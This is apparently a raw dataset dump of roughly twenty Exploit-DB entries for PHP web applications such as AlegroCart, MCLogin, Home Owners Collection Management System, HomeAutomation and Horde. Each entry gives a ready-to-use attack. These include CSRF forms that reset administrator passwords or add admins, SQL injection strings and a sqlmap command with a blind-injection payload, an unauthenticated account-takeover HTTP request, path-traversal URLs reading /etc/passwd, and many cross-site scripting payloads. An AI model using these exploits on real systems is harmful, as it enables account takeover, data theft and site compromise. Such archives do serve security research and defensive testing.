deardaniel/secdata-raw huggingface dataset:
Exploit-DB #11311
Description: Home Of AlegroCart 1.1 - Cross-Site Request Forgery (Change Administrator Password)
Type: webapps
Platform: php
Date: 2010-02-01
Author: The.Morpheus

Exploit:
[#]----------------------------------------------------------------[#]
#
# [+] Home Of AlegroCart v1.1 - [ Xsrf] Change Administrator Password
#
# // Author Info
# [x] Author: The.Morpheus
# [x] Contact: fats0L@windowslive.com<mailto:fats0L@windowslive.com>
# [x] Thanks: Türksec.&#304;nfo ~ Nd And Tg Tayfa :P
# [x] Date : 01.02.2010
#
[#]-------------------------------------------------------------------------------------------[#]

# Download : http://forum.alegrocart.com/viewtopic.php?f=8&t=4

# [x] Exploit :
#
# [ XSRF ]
#
# [ Login ]
# http://[server]/[path]/admin/
#
# // Start XSRF
|-------------------------------------------------------------------------------|

<form action="http://server/admin/?controller=user&user_id=1&action=update;action=update" method="post" enctype="multipart/form-data" id="form">
width="185"><span class="required">*</span> Username:</td>
<input type="text" name="username" value="admin">
<span class="required">*</span> First Name:</td>
<input type="text" name="firstname" value="admin">
<span class="required">*</span> Last Name:</td>
<input type="text" name="lastname" value="admin">
<td>E-Mail:</td>
<input type="text" name="email" value="admin"></td>
<td>User Group:</td>
<td><select name="user_group_id">
<option value="1" selected>Top Administrator</option>
</select></td>
<td>Password:</td>
<input type="password" name="password" value="" >
<td>Confirm:</td>
<input type="password" name="confirm" value="">
</form>


|-------------------------------------------------------------------------------|
# // End of attack ~
#
[#]------------------------------------------------------------------------------------------[#]
Exploit-DB #13766
Description: Home of MCLogin System - Authentication Bypass
Type: webapps
Platform: php
Date: 2010-06-08
Author: L0rd CrusAd3r

Exploit:
Author: L0rd CrusAd3r
Published: 2010-06-08
Vendor url:-/www.maniacomputer.com
################################################################################################

Authentication Bypass in Home of MCLogin System
1,1
######################################Author:L0rd
CrusAd3r######################################

Description:-

With MCLogin System your visitors can login or register a new account. It is
written in PHP and the data is stored in a MySql database.Very easy to
install or to customize to meet your needs. You can add it to your pages
with just one link.

###################################################################################################

Vulnerability:-

*Authentication Bypass found

The Provided Script as Sqli Vulnerability in Admin Login page

DEMO : http://server/login/login_index.php

Use the string a' or '1'='1 for Username and Password to gain access.

######################################################################################################


Greetz to:MaYur,Sid3^effects

-- 
With R3gards,
L0rd ÇrusAdêr
Exploit-DB #41125
Description: Home of Viral Images_ Videos and Articles Script - SQL Injection
Type: webapps
Platform: php
Date: 2017-01-19
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability: SQL Injection
# Date: 19.01.2017
# Vendor Homepage: http://www.scriptfolder.com/
# Script Name: Home of Viral Images, Videos and Articles Script
# Script Buy Now: http://www.scriptfolder.com/viralzone-home-of-viral-images-videos-and-articles/
# Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/search.php?term=[SQL]
# E.t.c.... 
# # # # #
Exploit-DB #50732
Description: Home Owners Collection Management System 1.0 - 'id' Blind SQL Injection
Type: webapps
Platform: php
Date: 2022-02-10
Author: Saud Alenazi

Exploit:
# Exploit Title: Home Owners Collection Management System 1.0 - 'id' Blind SQL Injection
# Date: 9/02/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15162/home-owners-collection-management-system-phpoop-free-source-code.html
# Version: 1.0
# Tested on: XAMPP, Windows 10


# Vulnerable Code

line 68 in file "/hocms/admin/members/view_member.php"

$collection = $conn->query("SELECT * FROM `collection_list` where member_id = '{$id}' order by date(date_collected) desc");


# Sqlmap command:

sqlmap -u 'http://localhost/hocms/admin/?id=0&page=members/view_member' -p id --level=5 --risk=3 --dbs --random-agent --eta --batch

# Output:

Parameter: id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=0' AND (SELECT 9980 FROM (SELECT(SLEEP(5)))POvo)-- OyKE&page=members/view_member
Exploit-DB #50730
Description: Home Owners Collection Management System 1.0 - Account Takeover (Unauthenticated)
Type: webapps
Platform: php
Date: 2022-02-10
Author: Saud Alenazi

Exploit:
# Exploit Title: Home Owners Collection Management System 1.0 - Account Takeover (Unauthenticated)
# Date: 9/02/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15162/home-owners-collection-management-system-phpoop-free-source-code.html
# Version: 1.0
# Tested on: XAMPP, Linux 


Home Owners Collection Management System is vulnerable to unauthenticated account takeover.
An attacker can takeover any registered 'Staff' user account by just sending below POST request
By changing the the "id", "firstname", "lastname" , "username" , "password" ,"type" parameters

#Steps to Reproduce

1. Send the below POST request by changing "id", "firstname", "lastname" , "username" , "password" ,"type" parameters.

2. Go to http://localhost/hocms/admin/ and Log in to the user account by changed username and password


==============================================

POST /hocms/classes/Users.php?f=save HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]19882391
Content-Length: 899
Origin: http://localhost
Connection: close
Cookie: PHPSESSID=fvle60i4ru4enqa81o3kicskju

----------------------------[PII_REDACTED][PII_REDACTED]19882391
Content-Disposition: form-data; name="id"


----------------------------[PII_REDACTED][PII_REDACTED]19882391
Content-Disposition: form-data; name="firstname"

hi
----------------------------[PII_REDACTED][PII_REDACTED]19882391
Content-Disposition: form-data; name="lastname"

test
----------------------------[PII_REDACTED][PII_REDACTED]19882391
Content-Disposition: form-data; name="username"

saud
----------------------------[PII_REDACTED][PII_REDACTED]19882391
Content-Disposition: form-data; name="password"

saud
----------------------------[PII_REDACTED][PII_REDACTED]19882391
Content-Disposition: form-data; name="type"

1
----------------------------[PII_REDACTED][PII_REDACTED]19882391
Content-Disposition: form-data; name="img"; filename=""
Content-Type: application/octet-stream


----------------------------[PII_REDACTED][PII_REDACTED]19882391--
Exploit-DB #47808
Description: HomeAutomation 3.3.2 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2019-12-30
Author: LiquidWorm

Exploit:
# Exploit: HomeAutomation 3.3.2 - Cross-Site Request Forgery (Add Admin)
# Date: 2019-12-30
# Author: LiquidWorm
# Vendor: Tom Rosenback and Daniel Malmgren
# Product web page: http://karpero.mine.nu/ha/
# Affected version: 3.3.2
# Tested on: Apache/2.4.41 (centos) OpenSSL/1.0.2k-fips
# Advisory ID: ZSL-2019-5558
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5558.php


HomeAutomation v3.3.2 CSRF Add Admin Exploit


Vendor: Tom Rosenback and Daniel Malmgren
Product web page: http://karpero.mine.nu/ha/
Affected version: 3.3.2

Summary: HomeAutomation is an open-source web interface and scheduling solution.
It was initially made for use with the Telldus TellStick, but is now based on a
plugin system and except for Tellstick it also comes with support for Crestron,
OWFS and Z-Wave (using OpenZWave). It controls your devices (switches, dimmers,
etc.) based on an advanced scheduling system, taking into account things like
measurements from various sensors. With the houseplan view you can get a simple
overview of the status of your devices at their location in your house.

Desc: The application interface allows users to perform certain actions via HTTP
requests without performing any validity checks to verify the requests. This can
be exploited to perform certain actions with administrative privileges if a logged-in
user visits a malicious web site.

Tested on: Apache/2.4.41 (centos) OpenSSL/1.0.2k-fips
           Apache/2.4.29 (Ubuntu)
           PHP/7.4.0RC4
           PHP/7.3.11
           PHP 7.2.24-0ubuntu0.18.04.1


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2019-5558
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5558.php


06.11.2019

--


<html>
  <body>
    <form action="http://localhost/homeautomation_v3_3_2/?page=conf-usercontrol" method="POST">
      <input type="hidden" name="id" value="-1" />
      <input type="hidden" name="action" value="save" />
      <input type="hidden" name="editable" value="2" />
      <input type="hidden" name="username" value="testingus" />
      <input type="hidden" name="password" value="123456" />
      <input type="hidden" name="firstname" value="Tester" />
      <input type="hidden" name="lastname" value="Testovski" />
      <input type="hidden" name="email" value="test@zeroscience.mk" />
      <input type="hidden" name="userlevel" value="3" />
      <input type="hidden" name="save" value="Save" />
      <input type="submit" value="Addmoi" />
    </form>
  </body>
</html>
Exploit-DB #35727
Description: HOMEPIMA Design - 'filedown.php' Local File Disclosure
Type: webapps
Platform: php
Date: 2011-05-09
Author: KnocKout

Exploit:
source: https://www.securityfocus.com/bid/47770/info

HOMEPIMA Design is prone to a local file-disclosure vulnerability because it fails to adequately validate user-supplied input.

Exploiting this vulnerability would allow an attacker to obtain potentially sensitive information from local files on computers running the vulnerable application. This may aid in further attacks. 

http://www.example.com/setup/filedown.php?file=../../../../../../../../../../../../../../etc/passwd
Exploit-DB #32141
Description: Homes 4 Sale - 'results.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-08-04
Author: Ghost Hacker

Exploit:
source: https://www.securityfocus.com/bid/30517/info

Homes 4 Sale is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/result.php?r=c%253E%255BHWtZYeidnW%257BdH%253A1MnOwcR%253E%253E%2527tfbsdi%2560uzqf%253Etfbsdi%2527f%253Ebtl%253CTB%253C67%253C2% 253C2%253C498984%253Ctuzmf2%256067%252Fdtt%253C3%253Cjoufsdptnpt%2560bggjmjbuf%25602%2560e3s%2560efsq%253Cksfct31%253Cksfct31%253C93454%253C43642%253Cbtl %253C%253C0e0tfbsdi0q0joufsdptnpt0ynm0epnbjomboefs0joum0e3s0gfg0qpqdbu0w30%253Cqbslfe%252Ftzoejdbujpo%252Fbtl%252Fdpn%2527jqvb%2560je%253E%253A%253A597&K eywords=
Exploit-DB #34772
Description: Honest Traffic - 'msg' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-07-17
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/43514/info

Honest Traffic is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/script/honesttraffic/index.php?msg=1%3Cscript%3Ealert[PII_REDACTED]27)%3C/script%3E
Exploit-DB #44953
Description: HongCMS 3.0.0 - (Authenticated) SQL Injection
Type: webapps
Platform: php
Date: 2018-06-28
Author: Hzllaga

Exploit:
# Exploit Title: HongCMS 3.0.0 - SQL Injection
# Google Dork: [if applicable]
# Date: 2018/06/26
# Exploit Author: Hzllaga
# Vendor Homepage: https://github.com/Neeke/HongCMS/
# Software Link: https://github.com/Neeke/HongCMS/
# Version: 3.0.0
# Tested on: php5.4 mysql5
# CVE : CVE-2018-12912

POC (Administrator Privilege):

/admin/index.php/database/operate?dbaction=emptytable&tablename=hong_vvc%60%20where%20vvcid%3D1%20or%20updatexml%282%2Cconcat%280x7e%2C%28version%28%29%29%29%2C0%29%20or%20%60
Exploit-DB #16154
Description: Horde - Horde_Image::factory driver Argument Local File Inclusion
Type: webapps
Platform: php
Date: 2011-02-11
Author: skysbsb

Exploit:
# Exploit Title: Horde Horde_Image::factory driver Argument Local File
Inclusion
# Google Dork: intitle:horde
# Date: 10-02-2011
# Author: skysbsb
# Software Link: http://www.horde.org/download/
# Version: Horde 3.3.2
# Tested on: linux
# CVE : CVE-2009-0932

The original disclosure was done by Gunnar Wrobel from Horde team.. it was
found in a code audit (january 2009).
It's an old vuln(2009) but still unpublished in exploit-db. There is a lot
of vulnerables sites out there. Just try google =)


Vuln description:
The version of Horde, Horde Groupware, or Horde Groupware Webmail Edition
installed on the remote host fails to filter input to the 'driver' argument
of the  'Horde_Image::factory' method before using it to include PHP code in
'lib/Horde/Image.php'.  Regardless of PHP's 'register_globals' and
'magic_quotes_gpc' settings, an unauthenticated attacker can exploit this
issue to view arbitrary files or possibly to execute arbitrary PHP code on
the remote host, subject to the privileges of the web server user id.


Fix:
If using Horde, upgrade to version 3.3.3 / 3.2.4 or later. If using Horde
Groupware, upgrade to version 1.2.2 / 1.1.5 or later. If using Horde
Groupware Webmail Edition, upgrade to version 1.2.2/1.1.5 or later.


PoC:
http://www.vulnsite.com/horde/util/barcode.php
?type=../../../../../../../../../../../etc/./passwd%00



# skysbsb [*at*] gmail.com
Exploit-DB #33065
Description: Horde 3.1 - 'Passwd' Module Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-06-05
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/35573/info

The Horde 'Passwd' module is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Versions prior to Horde 'Passwd' 3.1.1 are vulnerable. 

http://www.example.com/horde/passwd/main.php?backend="><script>alert('XSS')</script>&userid=stevejobs&return_to=&old[CREDENTIAL_REDACTED]=foo&newpassword1=foo&submit=Change%20Password
Exploit-DB #32354
Description: Horde 3.2 - MIME Attachment Filename Insufficient Filtering Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-09-10
Author: Alexios Fakos

Exploit:
source: https://www.securityfocus.com/bid/31110/info

Horde Framework is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects Horde Framework 3.2 through 3.2.1.

Note that additional products that use the Horde Framework may also be vulnerable.

<body/onload=alert(/hello/)>
Exploit-DB #33407
Description: Horde 3.3.5 - '/Administration Interface admin/cmdshell.php?PATH_INFO' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-15
Author: Juan Galiana Lara

Exploit:
source: https://www.securityfocus.com/bid/37351/info
 
Horde Framework is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.
 
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
This issue affects versions prior to Horde 3.3.6.
 
Note that additional products that use the Horde framework may also be vulnerable. 

http://www.example.com/horde-3.3.5/admin/cmdshell.php/%22%3E%3Cscript%3Ealert%288%29;%3C/script%3E%3Cform%20/?Horde=&lt;sessid&gt;
Exploit-DB #33408
Description: Horde 3.3.5 - '/Administration Interface admin/sqlshell.php?PATH_INFO' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-15
Author: Juan Galiana Lara

Exploit:
source: https://www.securityfocus.com/bid/37351/info
  
Horde Framework is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.
  
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
  
This issue affects versions prior to Horde 3.3.6.
  
Note that additional products that use the Horde framework may also be vulnerable. 

http://www.example.com/horde-3.3.5/admin/sqlshell.php/%22%3E%3Cscript%3Ealert%288%29;%3C/script%3E%3Cform%20/?Horde=&lt;sessid&gt;
Exploit-DB #33406
Description: Horde 3.3.5 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-15
Author: Juan Galiana Lara

Exploit:
source: https://www.securityfocus.com/bid/37351/info

Horde Framework is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects versions prior to Horde 3.3.6.

Note that additional products that use the Horde framework may also be vulnerable. 

http://www.example.com/horde-3.3.5/admin/phpshell.php/%22%3E%3Cscript%3Ealert%288%29;%3C/script%3E%3Cform%20/?Horde=<sessid>
Exploit-DB #32353
Description: Horde Application Framework 3.2.1 - Forward Slash Insufficient Filtering Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-09-10
Author: Alexios Fakos

Exploit:
source: https://www.securityfocus.com/bid/31107/info

Horde Framework is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects versions prior to Horde Framework 3.1.9 and 3.2.2.

Note that additional products that use the Horde Framework may also be vulnerable.

<body/onload=alert(/hello/)>
Exploit-DB #34605
Description: Horde Application Framework 3.3.8 - 'icon_browser.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-09-06
Author: Moritz Naumann

Exploit:
source: https://www.securityfocus.com/bid/43001/info

Horde Application Framework is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects versions prior to and including Horde 3.3.8.

Note that additional products that use the Horde framework may also be vulnerable. 

http://www.example.com/util/icon_browser.php?subdir=[xss]&app=horde
Exploit-DB #29745
Description: Horde Framework 3.1.3 - 'login.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-03-15
Author: Moritz Naumann

Exploit:
source: https://www.securityfocus.com/bid/22984/info

Horde Framework is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

Attacker-supplied HTML and script code would execute in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials.

This issue affects versions prior to 3.1.4. 

http://www.example.com/horde/[Horde_App]/login.php?new_lang=[xss]
Exploit-DB #44059
Description: Horde Groupware 5.2.21 - Unauthorized File Download
Type: webapps
Platform: php
Date: 2017-08-03
Author: SecuriTeam

Exploit:
## Vulnerability Summary
The following advisory describes an unauthorized file download vulnerability found in Horde Groupware version 5.2.21.

Horde Groupware Webmail Edition is “a free, enterprise ready, browser based communication suite. Users can read, send and organize email messages and manage and share calendars, contacts, tasks, notes, files, and bookmarks with the standards compliant components from the Horde Project. Horde Groupware Webmail Edition bundles the separately available applications IMP, Ingo, Kronolith, Turba, Nag, Mnemo, Gollem, and Trean.”

## Credit
An independent security researcher, Juan Pablo Lopez Yacubian, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.

## Vendor response
Horde Groupware was informed of the vulnerability, to which they response with:
“this has already been reported earlier by someone else, and is already fixed in the latest Gollem and Horde Groupware releases.

Besides that, it’s not sufficient to have a list of the server’s users, you also need to exactly know the file name and path that you want to download. Finally, this only works on certain backends, where Horde alone is responsible for authentication, i.e. it won’t work with backends that require explicit authentication.”

CVE: CVE-2017-15235

## Vulnerability details
User controlled input is not sufficiently sanitized when passed to File Manager (gollem) module (version 3.0.11).

The “fn” parameter does not validate certain met characters by causing the requested file or filesystem to be downloaded without credentials.

It is only necessary to know the username and the file name.

## Proof of Concept


```
User = this is the username in horde
/ = the Meta character /
/services/download/?app=gollem&dir=%2Fhome%2Fuser&backend=sqlhome&fn=/test.php
```